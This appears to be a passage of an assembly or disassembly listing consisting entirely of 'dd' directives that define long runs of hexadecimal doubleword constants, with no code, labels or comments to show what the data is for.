dd 0C01C3F2Dh, 9590CBF7h, 1564516Dh, 70909A61h, 60880A1Fh
dd 40AD982Bh, 0EE058A04h, 258D2961h, 0FEEDD5FBh, 5E008A7Fh
dd 90FF107Dh, 0B849E9B0h, 6DF5F9AAh, 0E7FE122Eh, 6E40B03Dh
dd 0F37C80h, 18BB8F8Eh, 16DB652h, 9998516h, 0B1D2A1ADh
dd 5A257825h, 522BE4B5h, 0F07FB6CAh, 4BC21D1Fh, 30C58D52h
dd 74081D3h, 1583BF89h, 0EBF51CD5h, 0D0B7B48Ah, 4AFE220Bh
dd 0EAB03412h, 0A829B6E1h, 0F5004EB8h, 22D4C6CEh, 0B673B750h
dd 665600E2h, 5FEDDFBBh, 9C8DFC4Bh, 21F1823Fh, 0A54C6800h
dd 20245EF1h, 0B956701Fh, 0C7691F18h, 91166A44h, 0A6B307A4h
dd 195449EEh, 8D0D17DCh, 9A7EFB85h, 22FF6428h, 9D710839h
dd 0C4500DCBh, 0FD58039h, 0CD940070h, 7DDA899Dh, 639AECB4h
dd 150BBBA2h, 0E694CF6h, 901A4B45h, 971B6D73h, 1591B237h
dd 50097280h, 5B27DC8Ah, 70595B61h, 3407E978h, 0ACC55E69h
dd 4B53F8E9h, 9CF8BBAh, 62FDB509h, 0C06DF575h, 93C15713h
dd 84C346E9h, 0D2319BEAh, 21E132BAh, 40C342DDh, 0B5153557h
dd 95741867h, 0BD2AC4FAh, 0CAC99D15h, 457371FBh, 0DB9056F5h
dd 0AAB38407h, 7087E1ABh, 3C52EF30h, 59C2CCD3h, 19C77D81h
dd 9E4AE0CFh, 0A5477C79h, 29C155ECh, 2A321595h, 12016BDCh
dd 0B71B1DB5h, 48B312EBh, 0C94E78E3h, 2E8A7FE8h, 57C38101h
dd 2028EE45h, 379AF968h, 2DDD8295h, 891C1432h, 5525318Dh
dd 1516E8B7h, 0B8146161h, 41E49940h, 0F96B257Bh, 46D62054h
dd 67491815h, 9C0C59BEh, 652D9DB7h, 46BD71CEh, 903B01Ah
dd 19022FA0h, 75257871h, 3C09DF37h, 25B166BEh, 98648E0Fh
dd 62A532B4h, 1859FC93h, 2050AB29h, 1356F54Ch, 71AA0291h
dd 2B880FECh, 2E00938Ah, 0D54EA313h, 0D8008652h, 9F5D9B2Dh
dd 1248B13Ah, 0E2E47179h, 2CB95B3Bh, 0F30101BCh, 17A159B7h
dd 177A2D82h, 6AF8A8CCh, 27DE0052h, 0F65C0569h, 241446D6h
dd 4D02AA98h, 0D94C46D0h, 6096809Dh, 58C88B53h, 0EE0FB098h
dd 7F506178h, 0A7FF5125h, 0CB3999E4h, 84120016h, 941A6F9h
dd 0D2DB0F64h, 5AC1F04Ah, 2E8F0F61h, 96958837h, 0D96D64FFh
dd 2EDA7FC9h, 0C9C018C8h, 4B201DC5h, 4F3F8A75h, 9B4B07A9h
dd 8B0496B6h, 0CDFF0CCDh, 83827A11h, 0B650042Eh, 0E5E30B44h
dd 351CF56Bh, 0FC0E49Fh, 0A437AFE6h, 2D6A7C60h, 0D84BADA5h
dd 0D6BB5400h, 95346404h, 0B7AD455Ch, 9462016Fh, 912DF337h
dd 0E85EC9B2h, 7E13AB69h, 8079EC28h, 2C4FF843h, 0D47C001Ah
dd 41789750h, 1A98F0EBh, 0EE3AE70Bh, 0E3A8801Fh, 4B9BF455h
dd 6C598D70h, 90D31421h, 0C4318E4Eh, 74AB0FA9h, 0E0BAE63Fh
dd 3EC110FFh, 0EC89399Ch, 85F0533h, 0DC60DD29h, 3B0ACF28h
dd 780019B3h, 5FA7D3CCh, 909AD6AFh, 38AA054Eh, 45C13668h
dd 0E698529h, 943752Eh, 0F0C1A977h, 3AA72BC6h, 205CFCA1h
dd 94B43D2h, 9A5A458Fh, 0F54B80B8h, 5E1A3CB9h, 8253B88Bh
dd 0F5F42DE9h, 3F4049CFh, 25BC5CC7h, 0B0DEC18Bh, 0ABC701DCh
dd 15EEF1A1h, 0F5FFE8B8h, 0E408BF04h, 0A9BA2A25h, 3C39A9A1h
dd 0C7B34787h, 0F2BE3061h, 0F54F9FA3h, 0B728D6FCh, 0B73175ECh
dd 9ADD00ABh, 76C65F8Fh, 28BEA900h, 216343D1h, 0CE3801AFh
dd 71739193h, 0C9A1D4DEh, 5F6293B4h, 1DB7776Ah, 0CDCB5786h
dd 57EB33Ch, 0BF45BD23h, 2C2DC621h, 17900E04h, 197419C9h
dd 0B27200DEh, 9E9C7087h, 1B0497B9h, 165DB529h, 0A5C244FBh
dd 2CDAA23h, 0FD8A8F10h, 34B73B50h, 80EBDB5Fh, 0BFCA476Bh
dd 60281A58h, 7C83462Bh, 0D092A5Ah, 0D5A0FABBh, 25213B6Ch
dd 7E41C816h, 8C1B2C00h, 0E31913BFh, 0D1FF2F53h, 6BE013CDh
dd 314B2B1Fh, 0F61B07E9h, 0AFC6EC85h, 9819717h, 0A8DF12BEh
dd 2271E273h, 4462026Ah, 908FC95Dh, 54007073h, 7899A551h
dd 0FE000463h, 2A6C97B4h, 143CD946h, 0C9DA6EBAh, 1DD99021h
dd 95003918h, 0E103567Ah, 5A520782h, 0B249A610h, 70853114h
dd 2340ADE4h, 105D25E9h, 2192C065h, 0F3A66412h, 996040F0h
dd 0F8922D02h, 0DF0D8D29h, 9784104Ah, 0BB52000Ch, 5B15444Eh
dd 81E08759h, 6A5FA6D2h, 1BB217B6h, 8D01E1EEh, 1943A707h
dd 0ECEAF04Ch, 42B32F90h, 16D88B7Bh, 0A4230F3h, 29CC18B2h
dd 154A4FB0h, 1894C7B2h, 0D04474C0h, 9C5B7216h, 78CE5EE8h
dd 0D1ED2C41h, 0F3252B2Eh, 35E8B7F9h, 0D7A5EF0Fh, 7FB8E01Ch
dd 4F66B351h, 4F94F35Fh, 0DD2A80E1h, 0DFB31A05h, 7CF378C0h
dd 4B2C9F7Fh, 65FB00Ah, 7C76569Dh, 7B94309Dh, 3C93767Eh
dd 578B2C6Ch, 538291CAh, 6CFD2111h, 2B8C004Dh, 0EF1BAD26h
dd 6002C9ABh, 1F3D7688h, 1024FE8Dh, 0CC5B2530h, 1AA203Fh
dd 31B9E083h, 2E8BC1B0h, 0C62EEFDh, 0E6021FF5h, 92927D70h
dd 80EC715Dh, 6AFBC1A9h, 0A302E132h, 0A58629D4h, 23B6608h
dd 27EF4776h, 6AC0B34Ah, 909771E4h, 12C956E1h, 0E4DF7865h
dd 9BD15D72h, 0CC870139h, 0C41E5F50h, 4C7D287Eh, 0C71D4217h
dd 822CDBB0h, 0C8B6F602h, 1512F174h, 205F91E6h, 0C6F6C57Ch
dd 0BB374C03h, 0A00A472Bh, 456677Ch, 0A69BD5BFh, 12A0B869h
dd 2ECD820Fh, 1427FB2Ah, 0BB645779h, 0C2F8E00Bh, 13EA005Fh
dd 92085FDh, 0C8B8270Dh, 0BB2EB970h, 68A52E33h, 0FE2BDEA1h
dd 0EE810260h, 6D7437B0h, 0E50798DFh, 0A1200109h, 270C4F58h
dd 91EFD881h, 5A839700h, 4496BF61h, 8B4B163Ch, 9D9204D1h
dd 0B5E9062Ah, 25297A45h, 0BFC42375h, 4947551Dh, 8466DF8Dh
dd 0D8BE142Bh, 9A6E7AC0h, 0A3719605h, 0DC5F5E00h, 0F333B286h
dd 0D8381AC9h, 82DF349Fh, 0D5053985h, 24B4C11Bh, 401689ABh
dd 0E9A35137h, 0E4C86A4Bh, 0B5A87DE3h, 0D997A25Bh, 72CCC8C8h
dd 719903FEh, 6A6E404h
dd 8AF3B894h, 0F7842644h, 0DCAACE69h, 0E458642h, 0BF80BA38h
dd 0AD58DF9Ch, 1CEB4D0Bh, 8B740818h, 413F949h, 0AEEEF56Eh
dd 0D3C083B9h, 61978FDAh, 0E0623C12h, 920B12F6h, 0D318ABh
dd 68C86979h, 165B3957h, 0D9EFC72Fh, 0B4AAC541h, 829C7B51h
dd 32E81BE1h, 7963205Bh, 561AE52Dh, 1A52DEF9h, 25F65E38h
dd 2D3AF82Ch, 0B9587276h, 0B42FD5Bh, 4368F549h, 0B79FFCE1h
dd 0D969006Eh, 765B778Dh, 7336FE09h, 99442Ch, 99C157DEh
dd 1A3EF8DCh, 24494600h, 0CDEAAF03h, 0B5E001A3h, 5FFACF80h
dd 0C32520FCh, 5B9D6A75h, 8553F84Eh, 140C82A1h, 0C258E8ABh
dd 55200DB5h, 0B5276F79h, 20710000h, 583DD979h, 56B3FB13h
dd 3E6F21AFh, 0C685E436h, 0AA289100h, 0B9E1E59h, 2D087CECh
dd 0C45C5417h, 0DAEB5B65h, 13A548B9h, 60FE10E5h, 6CA74A5Ah
dd 4D3C1A04h, 348C0724h, 0EF59031Dh, 6A80AFF9h, 53885FDBh
dd 0EBBD8D89h, 880DC998h, 0B3DAB73Ah, 89E8E20Ch, 0E9BAD539h
dd 0DB667Dh, 0ADC4B5F4h, 2F4EDD01h, 0A02A9E00h, 0BCEE264Ah
dd 845F50B0h, 0E6035EADh, 301DF2E6h, 7F00C1C5h, 0FD977B4Ah
dd 0B09874E1h, 221525C7h, 3CACE7E5h, 272900D6h, 6416BA94h
dd 0E59512EEh, 4C73E95Fh, 0F3F01D51h, 39351396h, 8084DB4Ah
dd 4F2AA7B8h, 13D9EACEh, 0A2F86DEEh, 0A5888816h, 1A4A36F8h
dd 0F85B80F6h, 0E7E3E17Bh, 32B307Bh, 619A959Dh, 70F75B4Ah
dd 0D6A8E35Dh, 0C9CD0803h, 8A953102h, 73F15510h, 0A08B8380h
dd 25510AE5h, 0B7FFE1FFh, 7DF00070h, 6D9072C2h, 7D0EFC4Dh
dd 0A5B8065Ah, 6F5F76E2h, 0A6DD605Ch, 8EA073EDh, 0BFBEE2CCh
dd 5EAC6952h, 0AB93335Eh, 0EB07C6D9h, 0BB070CD4h, 1855A20Ah
dd 0ED51A374h, 1C5BD2h, 5FB824F0h, 0C37731B6h, 88D96A00h
dd 0CE791F89h, 0AAFE2782h, 0E6A180C6h, 60AC34C5h, 6F782E9Bh
dd 85F94EF6h, 3F6EEA98h, 2F41200h, 0E8D2D5CEh, 457A0084h
dd 7B17609Eh, 6F000E22h, 15EBE437h, 1266DC33h, 0AE9646BFh
dd 6EAAB253h, 954F04C4h, 0CCF15330h, 1C73D82Bh, 23359786h
dd 6E32F903h, 8C9BAB22h, 0F5C0D0B8h, 0BABBCB81h, 4613C027h
dd 9BDBECFh, 0A1D26C2Dh, 0AB9FBF05h, 3EE144E9h, 0A68F0Ch
dd 546308BCh, 1845A1Fh, 9DD85600h, 53197F26h, 0F37EE35Bh
dd 0CF872CC7h, 0C075CDCBh, 9D2BD191h, 4D7D2BFh, 2A77068h
dd 0EC5B872h, 0F41DA48Fh, 7E4F25CEh, 0EBAD1237h, 8501167Bh
dd 89377A5Ch, 6A79219Ch, 8EB1BB27h, 0E62A1B53h, 301BB2D3h
dd 93026FEAh, 62B4CB20h, 40E874E8h, 81DEEF68h, 0E5033A00h
dd 61F1EA4Bh, 0B6780B56h, 0E9724054h, 0D2CEE925h, 5D851043h
dd 0D7F8A20Fh, 0E18DA230h, 0B9961F42h, 45FB852h, 7428EBD9h
dd 5B18E9F1h, 0BF92FB9Eh, 1448FAA2h, 0F8EEBF02h, 3274227Fh
dd 3CB5EBh, 4D96D75Fh, 13047666h, 89A279CBh, 0EBCEC5ABh
dd 60973DDAh, 856741DFh, 8620964Eh, 7BD13114h, 30F7120Ah
dd 0A32DAE05h, 0FCD69E2Ch, 0B87CA0DBh, 82310047h, 65C5A137h
dd 5F2D516Ch, 955B505Bh, 1664FDCDh, 0BBB2267h, 5300B0F8h
dd 8CFC683Ch, 380F648Dh, 604E2B82h, 0CFA322F0h, 69075F1Ch
dd 0D0DCF1C0h, 202A23Eh, 8BD844BCh, 0DB7187A7h, 609F2300h
dd 0FF9BD0Eh, 50667F4Dh, 5BC19CE2h, 8F03DA48h, 6D64922Dh
dd 87AC14Fh, 0B73030C1h, 0A58CDB4Eh, 2EBE0560h, 0C13F09A5h
dd 81DE2h, 0EFB75061h, 25014C34h, 7C4259BDh, 910835D7h
dd 20EE931Ch, 79B36AA6h, 67B07A4Eh, 0F87BC911h, 3F851C57h
dd 0CA4B52BFh, 533D2777h, 40B6D828h, 0B958004h, 4FA8F5Dh
dd 0BB2EE958h, 0B73CDCh, 0D235D49Fh, 0CE661514h, 40B4B10Fh
dd 6BAE529Eh, 3017E26Bh, 9E2E3C1Dh, 0F90977D9h, 0F402742Ch
dd 416B5E00h, 0BC78AC94h, 0EB80131Ah, 8592A21Fh, 0D5F904EDh
dd 0E7DC0E80h, 0FC4C3227h, 4EFD38CBh, 0CF1050CEh, 0D6B65A04h
dd 267DBD08h, 6046CD72h, 964B61ACh, 859D8909h, 0AF8AD30Bh
dd 0A9C4C58h, 0D6A65C2Fh, 735AB19Dh, 0FE80DC3Ch, 53C9BC9Dh
dd 24337D0Fh, 1340FDDDh, 566DF238h, 4F950A1Ch, 1B855003h
dd 0FAE53704h, 34897581h, 286F7Eh, 877BDAD7h, 12766C23h
dd 0AABD03C9h, 0CD4E7ACAh, 27BE6889h, 0A0DF4E04h, 0AA3B5FE4h
dd 5DFB5D9Ah, 169F8AD0h, 0B937C041h, 77A9D3DCh, 26AC2AA9h
dd 2BCBF5D2h, 8B6EAFh, 0A49C36F1h, 1421FFE7h, 880C2833h
dd 0AE0A7D13h, 17230D6Fh, 15C77E00h, 2D950137h, 0B8591961h
dd 0CDF6E225h, 0F6CEE0E4h, 0EA0790F9h, 249CBB48h, 16B1537Eh
dd 5325C096h, 0C19AAB02h, 43289893h, 89EFF3BDh, 0EE02526Dh
dd 0D5090581h, 161113B7h, 0BE968684h, 813C1FA1h, 4C504B1Ah
dd 50E345F7h, 54C2FFF4h, 0DC6179EFh, 90114085h, 2A04BF32h
dd 5BA2CB80h, 0C8379AEBh, 0BBB3C01Ah, 150077A7h, 8B961967h
dd 946050D9h, 0E0FF4782h, 717C0D5Fh, 67F5B103h, 0E064AD39h
dd 571484h, 3665B966h, 61B5B25Fh, 0BC25965Dh, 0BEC7FE7h
dd 0E6E38084h, 77BD89A2h, 0D45EA8ABh, 53EF0CF6h, 401508E9h
dd 52E8700h, 36C52822h, 0A5B51389h, 4E74B725h, 0F912EDA8h
dd 80DBAD31h, 0DAA6F02Fh, 7379B5E4h, 0F4BD9E64h, 0F7F03AEDh
dd 0BFBD0026h, 3E97CD95h, 53B66096h, 0D918CA43h, 24F00C70h
dd 0FD1E0016h, 5C755762h, 60EA718Ah, 50596102h, 5548B352h
dd 60C12FD9h, 11D5BA66h, 7A2E892Ah, 6C81A7B3h, 455F2FB7h
dd 14686FEDh, 0D3A0B778h, 0FBE125BFh, 778C040Bh, 0FAFC0818h
dd 549CD1BDh, 0DC85E11Fh, 30EBF412h, 918D0187h, 3CEF0E52h
dd 9C26A095h, 0A7132EB8h, 44957D46h, 5E0F0FB1h, 0BBE52193h
dd 0F3C2BF13h, 6A5F0519h, 9152359h, 7A01C759h, 3B8E92DFh
dd 0D952A732h, 0C47F00CEh, 1E8E65AFh, 7B019998h, 886E188Bh
dd 0C5440D04h, 0C95FF3BAh, 5B568751h, 12DD9DE1h, 0F4E7F66Ah
dd 45DEC9Ch, 624A14B9h, 11D8EC2Eh, 27000AE9h, 0B91FC9E0h
dd 530EE8E6h, 12C65C12h, 0B7BCFDBDh, 4CBCA14Eh, 2EC308E5h
dd 5DD7E909h, 0BF1F3C50h, 0C1D42FA1h, 377D37FDh, 3D64C25Eh
dd 0DECED419h, 0F58D1616h, 0B5162913h, 4BE8FBBDh, 0D2DC6B02h
dd 9805A595h, 0D1BB9Ch, 26FA9C6Ch, 3F5E839Eh, 806F9C8h
dd 19226230h, 53CAC900h, 0AEA27274h, 0F8B904A9h, 0B30FE280h
dd 0DF2D6978h, 2A801537h, 0BFEF6F76h, 0A3E01441h, 0C22DB105h
dd 35081FD6h, 5A852815h, 0BD54D1ADh, 17AD3395h, 50A72361h
dd 0AF291FA0h, 19CCF064h, 0B65F17BCh, 0EBC000BCh, 7F3EACF4h
dd 0FE583F99h, 0A2BF2500h, 0C616077Ah, 0B4AAA000h, 1E922D3Bh
dd 0B5290049h, 0C08DB93h, 840136D6h, 8748DD67h, 22D07EA8h
dd 5DA20063h, 23F033E5h, 0EE007928h, 1AD5F3B4h, 0BE16036h
dd 22020B69h, 1D6E6D80h, 2C0064B8h, 1A06869Fh, 0ACF9A6h
dd 5FC1BB7Fh, 4D19FC27h, 0A7E4C860h, 70A464h, 1873969Bh
dd 10F3741Ch, 195ABC1Eh, 0A3FF0F7Dh, 5C442712h, 7C012850h
dd 0DCE830DAh, 0BC60A554h, 8B3BC971h, 3E6680F3h, 3AED31B6h
dd 1FE97115h, 6A18EC3h, 182CBAD8h, 8A145F3Ah, 0D61EC534h
dd 0EB733C00h, 2618E2AFh, 302897BBh, 2870A810h, 5C010703h
dd 3009B3CFh, 0C8219409h, 0FE002868h, 0C9702C10h, 1EF4979h
dd 9A9D4FD3h, 871E9CD5h, 81188828h, 0E806D847h, 7CB0011h
dd 0F362704Bh, 6A661CACh, 7521FF09h, 484B01ABh, 0F535B08Bh
dd 98C880E2h, 17E9CF38h
dd 9C5C305Eh, 6D8819D0h, 38B20330h, 0D5CFEBh, 0E438B6DBh
dd 0CC30EF3Ch, 21C808CCh, 0DBDD0FF4h, 70072EAh, 0AD77426Dh
dd 0B0D28A31h, 84407161h, 50E14414h, 0C5039029h, 7EA3BAh
dd 0F13A64F5h, 0E80F278Bh, 0A081B0BDh, 3BCD97DCh, 5B2B005Fh
dd 314C4B6Bh, 27004E86h, 0BDE70DAFh, 88C68Dh, 0EA668A50h
dd 1A56B476h, 0FB184200h, 68B0717Bh, 6C4D00B3h, 0D5D4523h
dd 0C000B35h, 7241238h, 4839FDh, 526D374Bh, 2D7F09D6h
dd 0ABB94700h, 9FD9C713h, 59100B1h, 0E49CDF55h, 4700DCD3h
dd 29511AB0h, 1ED6079Eh, 0C06BC7C4h, 8CCF6C71h, 0A438E6A0h
dd 42AA0023h, 37A9F96Dh, 562D0047h, 308B571h, 0ED000A8Bh
dd 0F7B6EE73h, 0BFEC7Bh, 9C0287C9h, 3C037C8h, 907468E6h
dd 0B53A4478h, 15FD009Ah, 964B22CAh, 53FC00D0h, 26D954F5h
dd 19C05245h, 1002DF7Eh, 3C5E7C14h, 84147A60h, 0BA06F0A1h
dd 2839FA5Dh, 0BC55030Ch, 162D61B9h, 0EA662486h, 15B48003h
dd 9640A811h, 0CC4500D3h, 3D2812FDh, 30C3D489h, 215F9990h
dd 0D700E128h, 23ECA2BCh, 2CE0063Dh, 78CF8CAFh, 0FC503206h
dd 86D160D8h, 697C311Ch, 9CE07719h, 0A864FC0h, 4298875Eh
dd 2526063Ah, 1AC02FFAh, 21339880h, 0A1115C15h, 13D1D600h
dd 8DEAD4E1h, 5CAE2B01h, 5A1A506Ah, 4032080h, 44EC107Eh
dd 153639h, 0F09F2645h, 181DB293h, 0B15173FBh, 7900626Ah
dd 0F38AB72Dh, 74EE27D1h, 0E3F90CD3h, 73515268h, 2E313A67h
dd 25D9BD61h, 0DDFCF0h, 452C9F2Bh, 0EC3B9382h, 0F8E87E0Ch
dd 883D7884h, 85019B78h, 0F0E3CCFAh, 0A0410752h, 7E10135Dh
dd 0D0507CD7h, 0C500DF98h, 0CBBF3EF0h, 109B3Ch, 75DF292h
dd 3B9D8068h, 0DFFCE90Ch, 0E4B47929h, 240450C6h, 6F52889Bh
dd 3C738000h, 0B0E43B2Bh, 5C8E2825h, 0D0A501BCh, 86A15FFFh
dd 585BD484h, 7E143615h, 8FDA04A0h, 3888BAB0h, 112142FEh
dd 0A3CD5BBh, 930FEF0Ch, 0CE18B011h, 389A8499h, 0C711333Bh
dd 2100A608h, 6199D6D5h, 0DBBC2Ah, 0F563A719h, 551AE631h
dd 0F8EFB4A9h, 130051A8h, 87CF16Fh, 1A2B6DEh, 0C9E50247h
dd 83926273h, 0BE455050h, 93983E27h, 1DD0472Ah, 920E4Ah
dd 5174D5D4h, 340F406Eh, 4084F44Fh, 69F6875Dh, 2097031Ch
dd 0BC648FF2h, 9136E803h, 232538BFh, 0CC05EDD8h, 0B2848699h
dd 20B96C22h, 6099D4D7h, 31A4070Fh, 553661AAh, 218396B6h
dd 40DB8629h, 91EC05F8h, 7C486090h, 0FD578728h, 0CB0E7E1h
dd 66B858CCh, 213F08D4h, 40E57C00h, 0F499DE67h, 50BA0006h
dd 56B8FEDFh, 0B23E4EABh, 87448EA8h, 90401288h, 0F8FAECE3h
dd 5B180C7Ah, 8098294h, 14C321C0h, 0F2FE17FAh, 1BC100D4h
dd 6CAF7748h, 2B199D42h, 0D0A840BBh, 0E1F6FB18h, 11FCB023h
dd 0E37A004Eh, 0DBEC6F40h, 38E404A3h, 973AEE5Dh, 1727A038h
dd 0B00AFBC1h, 0C303645h, 2CC66004h, 20822C82h, 0B04678F6h
dd 3FCE2D13h, 309B1447h, 0B49F68C0h, 73EA2410h, 5BA63CB0h
dd 8C448A64h, 0FAE7C080h, 0F0467AFDh, 0C6021722h, 1AECFAEFh
dd 7F3C4854h, 41FB012Ah, 9BD34FB4h, 94EFEC6Dh, 59023B02h
dd 91BD55D9h, 1FD4C9E8h, 78D1803Ah, 2A04914Ch, 0B20D843Dh
dd 0B8338E45h, 25E09CC1h, 6424506Ah, 4630903Ch, 99C802E9h
dd 31CF2982h, 0D0D310A7h, 62E90099h, 0D9B83C88h, 7A261193h
dd 0EA1A042Bh, 0D4D80479h, 0E540FF60h, 111CB023h, 827E3D4Ch
dd 898DA640h, 658CA0F8h, 3ACEDA4h, 522A28Fh, 88AA3C0Bh
dd 78B69C90h, 0B1116839h, 0A5FD1A66h, 29D8F261h, 0C48705A9h
dd 84CA24AEh, 5BAC40ADh, 0ACB61BD7h, 0C878101h, 0C883A39Dh
dd 4C19B4ECh, 8840ECBEh, 0CB048C14h, 0C7297F99h, 0D020B862h
dd 3999D3h, 0F48BAAA8h, 0EC334A2Bh, 50FAC532h, 0A1044458h
dd 0E6188D0Ch, 7AFEFA08h, 0EEC570C8h, 2C72FA00h, 0C704E67Bh
dd 0E07D4878h, 246C2310h, 0F5748CFBh, 8000E518h, 74C43B59h
dd 58FE6E2Dh, 84407877h, 23C030E8h, 0C9D9B7B8h, 0DFF09102h
dd 6817B124h, 7342E4h, 9404C139h, 584413EFh, 35057001h
dd 0C3F6ECD7h, 7E2D4083h, 583D7AFFh, 1A138031h, 78342A5Fh
dd 635CAD84h, 0BBE8CCFDh, 2B09307Eh, 21526F6Eh, 0F988FA7Ch
dd 56019C57h, 69E41BC5h, 104301FBh, 2847362Eh, 48A4D9E1h
dd 9A0020DCh, 752A4F0Fh, 1A1E040h, 0B07A8630h, 0D4672FF4h
dd 117E54C0h, 0BC99AB2Ch, 63003391h, 0EE078D98h, 0DE775E83h
dd 938EFD3Dh, 38545052h, 184420BCh, 3937D6FCh, 13608998h
dd 36E850A9h, 0D2EC0F40h, 8CA0D309h, 0F8BA16FCh, 0A2944200h
dd 7A934BD1h, 805C59AFh, 2082B800h, 6DE3B2CEh, 3D9A938h
dd 0E629DB02h, 0AF9AF0D7h, 361CF7Fh, 21AF980h, 98A09E1Fh
dd 0EA813DFFh, 0E2DAC30h, 82933BD5h, 0E4DCDDE0h, 0E8B8B0FAh
dd 0D805340h, 0FC883B7Ch, 4D98E751h, 0F006585h, 0B74979A3h
dd 0C690C7Eh, 0FB896286h, 0A403A229h, 0ADCF2042h, 98CD83DBh
dd 0B88DD01Fh, 86AF1740h, 2C4400D4h, 4E2A71E9h, 757613Ah
dd 0C963095Bh, 0A6DCEED0h, 84050E7Eh, 6C8C7F6Eh, 0B13B9821h
dd 0DA40019Fh, 739D15Ch, 9E3DB0FFh, 0C4B8015Dh, 0FBFA5AA4h
dd 330802Fh, 0A140428Bh, 25560605h, 81EAD57h, 6A217460h
dd 0BE404Ah, 7E77646Ch, 5262ACD9h, 171271C0h, 0B68E3Eh
dd 94D02F3Ch, 0C94EDF16h, 38F7A1Ch, 8091BE41h, 35CC4DC5h
dd 0EF2A005Dh, 17DF9332h, 2F30CC49h, 0DD02685Fh, 0A86160C2h
dd 0AC54E5BEh, 2B023376h, 0AFABE8CFh, 1FFE3A5h, 73870920h
dd 4ECBF04Bh, 0AF651120h, 0C2C1AD80h, 8A00FE39h, 82F1E6D2h
dd 0C09BFC24h, 0BA8F69E9h, 2D03B656h, 80BB3F9Fh, 0FF4EB82Eh
dd 0EACF0062h, 0A014DC8Bh, 0BF007116h, 3E31469Dh, 30245EE2h
dd 0A589CAD7h, 0B0ACF35Ah, 15DD454Ch, 88B0EE05h, 4CC1809Eh
dd 169B1840h, 2B7CAE98h, 0E9D79101h, 80672895h, 8E6031E3h
dd 0E371DC31h, 633D2903h, 0A76DFCC4h, 0FDA482C0h, 84503CBh
dd 62426B1Eh, 7D0189EEh, 0E8386107h, 0C44736F5h, 32C5A50h
dd 7494002Dh, 0E4DD1913h, 1FFC738Dh, 117268CEh, 0EFA22900h
dd 8EA08247h, 988A5F19h, 21803C08h, 88EFAAC0h, 200946DDh
dd 27E5E9Bh, 41143406h, 4318F938h, 5AC400Ah, 6B70881Eh
dd 0BB400E4Bh, 70F1DB9Bh, 5849E818h, 0A09A01B8h, 0A45A3488h
dd 1EF646B8h, 5DE4046h, 77511E3h, 9D404E6Eh, 67DE228Fh
dd 0E556C062h, 60916055h, 4C8A3916h, 63CB33Ah, 0CBDE9BFFh
dd 0D5823F89h, 5097EA0h, 55E20Dh, 9284E338h, 5907025Eh
dd 5A71DF9Bh, 0A4049042h, 0EFA560B1h, 88822344h, 0C3002811h
dd 6923EFADh, 1E002A41h, 0DABCDFDDh, 3CA08473h, 0CA0451D9h
dd 949F868Bh, 4A1082C0h, 0F2F8B531h, 22C646DCh, 0DD440167h
dd 5DD2EB9Fh, 0EB43EDD9h, 9283F680h, 53615805h, 94043501h
dd 3488722Bh, 0CF051F1Eh, 36970028h, 5C394DADh, 82F63201h
dd 0D264DA22h, 111A092h, 0D824B0F0h, 0FAB85084h, 93246246h
dd 0D240442Ch, 0D2A044Bh, 83FCC35Ah, 1C92F429h, 28164E00h
dd 4B01D010h, 806E0013h, 14D968DAh, 601EE78h, 0AD09F05Ah
dd 0A9805F22h, 0C81AEB7Bh, 370C1511h, 8C5DA2Eh, 1D21C380h
dd 0C09C1AF3h, 7569839Dh, 245FC224h, 359AE42h, 31B20E84h
dd 700E88Ah, 0E80725A0h, 0F4405211h, 0E57D3A43h, 0B9053C01h
dd 0B1DA669Eh, 811430F8h
dd 80590024h, 15F094E9h, 30F20944h, 6F19CFCh, 0DA00635Fh
dd 32D3CD60h, 4CAF0A82h, 0C101B626h, 0EAA8D1C9h, 32EAB97Dh
dd 29FE88A4h, 732C8582h, 546FB484h, 1F72384h, 5A24041h
dd 8877184Eh, 13B0496Dh, 7DD15350h, 9BCAA601h, 268DE951h
dd 263D3C30h, 12408C8Ah, 940C0849h, 15861282h, 0FCF06064h
dd 0ABA0A8CCh, 0C67C2868h, 850A02ECh, 399AA505h, 0DBDDC868h
dd 0B03CEC24h, 31795B03h, 31299BD1h, 0AE60DE68h, 0A2F1139Bh
dd 0C8F0B393h, 4611B21Ah, 588322C5h, 0FE00E31Bh, 0A95EB435h
dd 0BD31BE17h, 5283A02Eh, 228D9452h, 4F40D3ABh, 100C5D92h
dd 498E0156h, 23080AA4h, 9B0EE27h, 10024883h, 0D2005A3Ch
dd 7998DFE9h, 5D1B80DBh, 5ACE58C4h, 7B6AE24Eh, 0CEF11D4h
dd 3044D2E3h, 6487198Ch, 52577026h, 0EF30A974h, 11B4111Ah
dd 808188F5h, 0F41AF719h, 5790A223h, 0FCFA2709h, 91849F0Ch
dd 96A28173h, 3420120Eh, 2A32E6BFh, 0AD505AD2h, 25AC60B4h
dd 0B90042D0h, 0AABD1BD4h, 61F1AD68h, 6ADB7986h, 648CC8BAh
dd 36029700h, 256C428Fh, 0A846861Fh, 0C91AEE02h, 8E311D11h
dd 1AF61E10h, 0E9B53403h, 0A5C0756h, 4829419h, 84003CC4h
dd 0DEB723EDh, 24183993h, 4918083h, 1C625D0Dh, 0BEDCD124h
dd 4A1A0C01h, 8082FBE9h, 932D5429h, 1D9A2789h, 0F022385Ah
dd 0D95F8B69h, 0DD0AEC77h, 0FC44CB1Bh, 80B9398Fh, 72B4A1EFh
dd 4E163A69h, 3826E00h, 0C2F519D0h, 0A3806C01h, 0E3A0A820h
dd 582DD8C0h, 67003082h, 2CF14AD4h, 13000C2Ah, 584CDF42h
dd 0C93EDC5h, 0CC9FD1D5h, 0BE3E1640h, 38100D2h, 62DF5B32h
dd 0FE3F005Dh, 0BBD57DF1h, 0A00194BDh, 9BA37317h, 50240113h
dd 9D209F9h, 0C405386Dh, 0D1848142h, 9B870136h, 88DB8020h
dd 0B6240504h, 0CD86E849h, 2285595h, 1DDE45EBh, 74C4A37Dh
dd 18F57C98h, 45EF08A0h, 33C47082h, 0EFA8C640h, 580C6A35h
dd 193E179Bh, 0C85C5462h, 65E034h, 2D5D16Fh, 172006FBh
dd 2A954E12h, 0AA43F400h, 7CD2F7B8h, 99B618EAh, 0E9DA1875h
dd 0A459A92Eh, 4E5C1689h, 9C754124h, 0A42CA238h, 0EDDD8287h
dd 0E19E05Ch, 70CBAA05h, 0B72734C1h, 0C8682942h, 0E720213Ch
dd 90C818C7h, 0AB87DB11h, 9882C2EFh, 0C9112E31h, 0BE0E3093h
dd 0AE250C00h, 47116051h, 3509E48Dh, 8E024F5h, 0F2C0949Ch
dd 4611B51Ah, 0FC8622FDh, 222E4FAh, 648D4E68h, 241AFAEh
dd 15602040h, 8C45B0A0h, 3C900782h, 39A6F9B0h, 6ED50BBEh
